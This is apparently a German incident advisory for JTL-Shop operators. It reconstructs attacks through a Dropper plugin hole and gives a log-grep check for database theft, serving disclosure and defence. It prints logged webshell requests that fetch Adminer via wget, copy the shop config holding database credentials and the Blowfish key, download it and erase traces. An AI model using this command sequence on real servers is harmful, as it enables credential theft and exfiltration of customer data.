Wie wurde der Angriff durchgeführt?
Nach der Auswertung einiger Log-Files von uns und anderen Kunden können wir folgende Angriffe feststellen:
01.03., 07.03., 20.03.
Bei einigen Shops konnten wir beobachten wie zu diesen Zeiträumen scheinbar automatisiert eine
GET
und eine
POST
Anfrage gegen
<shop-url>/Kontakt
gemacht wurde. Diese Anfragen kamen von den
IPs
82.102.18.147
und
82.102.18.143
. Wir vermuten das hiermit automatisiert geprüft wurde ob es sich
um einen JTL-Shop handelt, bzw. ob dieser Online ist.
GET /Kontakt
POST /Kontakt
09.03. - gegen 19:00 Uhr
Bei einigen (aber nicht allen) Shops wurde an diesem Datum ein erster Angriffsversuch gestartet.
Die Angriffe stammten alle von der IP
82.102.18.14
. Hierbei wurde eine Lücke in
Dropper ausgenutzt um die Datei
check.php
hochzuladen. Diese Datei erlaubt die Ausführung von
remote Kommandos auf dem Server. Dann wurde die
check.php
Datei umbenannt in einen dynamischen Namen,
z.B.
zdcfc4ceb34.php
. Daraufhin wurde die nun umbenannte
check.php
verwendet um das Datenbanktool
adminer
von der Adresse
https://www.adminer.org/latest.php
herunterzuladen - wiederrum in einer
kryptisch bennannten Datei, z.B.
yd7cdf8c21424.php
. Daraufhin wurde die umbenannte
check.php
Datei
verwendet um eine Kopie der
config.JTL-Shop.ini.php
unter dem Namen
c.txt
zu speichern. Daraufhin
wurde die
c.txt
heruntergeladen, wodurch der Angreifer den Inhalt der
config.JTL-Shop.ini.php
kennt.
Am Ende wurde die umbenannte
check.php
verwendet um die
c.txt
wieder zu löschen.
[ Ausnutzen der Dropper Lücke - Log versteckt um keine Nachahmer anzuziehen ]
GET /bilder/kk_dropper_uploads/check.php?q=mv check.php ../zdcfc4ceb34.php
GET /bilder/zdcfc4ceb34.php?q=wget https://www.adminer.org/latest.php -O yd7cdf8c21424.php
GET /bilder/zdcfc4ceb34.php?q=cp ../includes/config.JTL-Shop.ini.php c.txt
GET /bilder/c.txt
GET /bilder/zdcfc4ceb34.php?q=rm c.txt
11.03. - gegen 02:00 Uhr bzw. gegen 12:00 Uhr
Die meisten Shops (auch jene die bereits am 09.03. angegriffen wurden) sind an diesem Datum attackiert worden.
Der Angriff stammt in allen uns bekannten Fällen von der IP
82.102.18.12
.
Das Vorgehen hat sich im Vergleich zum Angriff vom
09.03.
nochmals geändert:
Bei bereits am
09.03.
angegriffenen Shops wurden die am
09.03.
erstellten PHP Dateien zunächst gelöscht:
GET /bilder/zdcfc4ceb34.php?rm=yd7cdf8c21424.php
GET /bilder/zdcfc4ceb34.php?rm=zdcfc4ceb34.php
Draufhin wurde eine Lücke in Dropper ausgenutzt um die Dateien
check.php
und
checka.php
hochzuladen.
Die
check.php
erlaubt die Ausführung von remote Kommandos auf dem Server, währenddessen die
checka.php
Datei das
Datenbanktool
Adminer
enthällt. Daraufhin wurde mittels der
check.php
das Verzeichnis
/downloads/vorschau
erstellt.
Dann wurden
checka.php
und
check.php
mittels
check.php
in den Ordner
/downloads/vorschau
unter kryptischem Namen verschoben,
z.B.
checka.php
nach
/downloads/vorschau/y7c6f79e49a75.php
und dann
check.php
nach
/downloads/vorschau/z2104c3adf9.php
.
Daraufhin wurde die umbenannte
check.php
Datei verwendet um eine Kopie der
config.JTL-Shop.ini.php
unter dem Namen
c.txt
zu speichern.
Daraufhin wurde die
c.txt
heruntergeladen, wodurch der Angreifer den Inhalt der
config.JTL-Shop.ini.php
kennt. Am Ende wurde die umbenannte
check.php
verwendet um evtl. vorhandene
check.php
und
checka.php
aus dem
/bilder/kk_dropper_uploads
Ordner zu löschen.
[ Ausnutzen der Dropper Lücke - Log versteckt um keine Nachahmer anzuziehen ]
GET /bilder/kk_dropper_uploads/check.php?mk=../../downloads/vorschau
GET /bilder/kk_dropper_uploads/check.php?mv=checka.php&mv2=../../downloads/vorschau/y7c6f79e49a75.php
GET /bilder/kk_dropper_uploads/check.php?mv=check.php&mv2=../../downloads/vorschau/z2104c3adf9.php
GET /downloads/vorschau/z2104c3adf9.php?cp=../../includes/config.JTL-Shop.ini.php&cp2=c.txt
GET /downloads/vorschau/c.txt
GET /bilder/kk_dropper_uploads/check.php?rm=[WEB_ROOT]/bilder/kk_dropper_uploads/check.php
GET /bilder/kk_dropper_uploads/check.php?rm=[WEB_ROOT]/bilder/kk_dropper_uploads/checka.php
11.03. - gegen 13:30 Uhr
In den Logs der meisten Shops konnten wir feststellen wie der Angreifer gegen 13:30 Uhr versucht hat mit der umbenannten
check.php
Datei die
c.txt
wieder zu löschen - vermutlich um seine Spuren zu verwischen.
GET /downloads/vorschau/z2104c3adf9.php?rm=c.txt
Weiteres Vorgehen des Angreifers
Nach der vorherigen Angriffswelle besitzt der Angreifer nun die Datenbank Zugangsdaten zum Shop, sowie die Möglichkeit sich per Adminer Tool mit der Datenbank zu verbinden. Wir konnten in unserem eigenen Shop feststellen, wie er den Adminer benutzt um zuerst in einige Datenbanktabellen zu schauen, und dann am Ende die Datenbank exportiert (dump).
Das Exportieren der Datenbank sieht in unserem Log in etwa so aus (Begriffe in eckigen Klammern wurden durch Platzhalter ersetzt):
POST /downloads/vorschau/y7c6f79e49a75.php?server=[db-server-ip]&username=[db-user]&db=[db]&dump=
Festellen ob die Shop Datenbank ausgespäht wurde
Der Angreifer hat ein PHP Script hochgeladen, welches das PHP Tool Adminer enthält. Dieses Tool kann der Angreifer benutzen um deine Datenbank auszuspähen und zu kopieren.
Solltest du Zugang zu den Log-Dateien des betroffenen Servers haben, empfehlen wir dir folgende Befehle auf deinem Server auszuführen um festzustellen ob der Angreifer sich via Adminer Zugriff zu deiner Datenbank verschafft hat.
Wichtig! Stelle vorher sicher dass die Logs für den Zeitraum des Angriffs (09.03 - heute) vorliegen, falls nicht ist die Ausgabe der folgenden Befehle nicht aussagekräftig.
# Wechsel in das Verzeichnis in dem sich die access logs deines
# Servers befinden, oft ist das /var/logs/apache2 oder /var/log/nginx
cd /verzeichnis/zu/access/logs
# Durchsuche die Logs nach Spuren eines Zugriffs auf Adminer, also
# auf die Stichwörter "&dump=" oder ".php?server=" oder "&version=4.7.1"
zgrep '&dump=\|.php?server=\|&version=4.7.1' *access*.*
Sollte dieses Kommando keine Einträge zurückgeben, könnte das ein Hinweis darauf sein, dass der Angreifer den Adminer bisher nicht auf deinem Server ausgeführt hat und deine Datenbank noch nicht abgezogen wurde. Das war bis auf wenige Ausnahmen aller von uns durchsuchten Logs glücklicherweise der Fall.
Festellen ob der Angreifer sich extern Zugriff auf deinen Datenbank Server verschafft hat
Sollte dein Server befallen sein, kennt der Angreifer in jedem Fall den Datenbank-Benutzer und Kennwort des Shops,
da er den Inhalt der Shop Konfigurationsdatei
[shop-root]/includes/config.JTL-Shop.ini.php
gelesen hat.
Dein Server Administrator sollte prüfen ob der Datenbank Server des Shops über das Internet erreichbar ist. Sollte das tatsächlich der Fall sein, musst du davon ausgehen dass deine Datenbank ausgespäht wurde.
Meine Datenbank wurde vielleicht ausgespäht, was nun?
Die primären Kundendaten befinden sich in der Tabelle
tKunde
, diese enthält unverschlüsselt für jeden Kunden:
- Vorname
- Adressdaten
- Telefonummer
- Emailadresse
Weitere sensible Daten in dieser Tabelle (Nachname des Kunden) sind verschlüsselt. Allerdings konnte der Angreifer auch den Blowfish-Key
aus der
config.JTL-Shop.ini.php
ausspähen, womit er diese Daten entschlüsseln kann.
Passwörter der Kunden sind vermutlich nicht betroffen, da diese nur gehasht in der Datenbank abgelegt werden.
Sensible Zahlungsdaten (z.B. CV Codes für Kredit, Logindaten Paypal) werden nicht in der Datenbank gehalten.
Allerdings schreiben einige Zahlungsanbieter Informationen in die Datenbanktabelle
tzahlungslog
.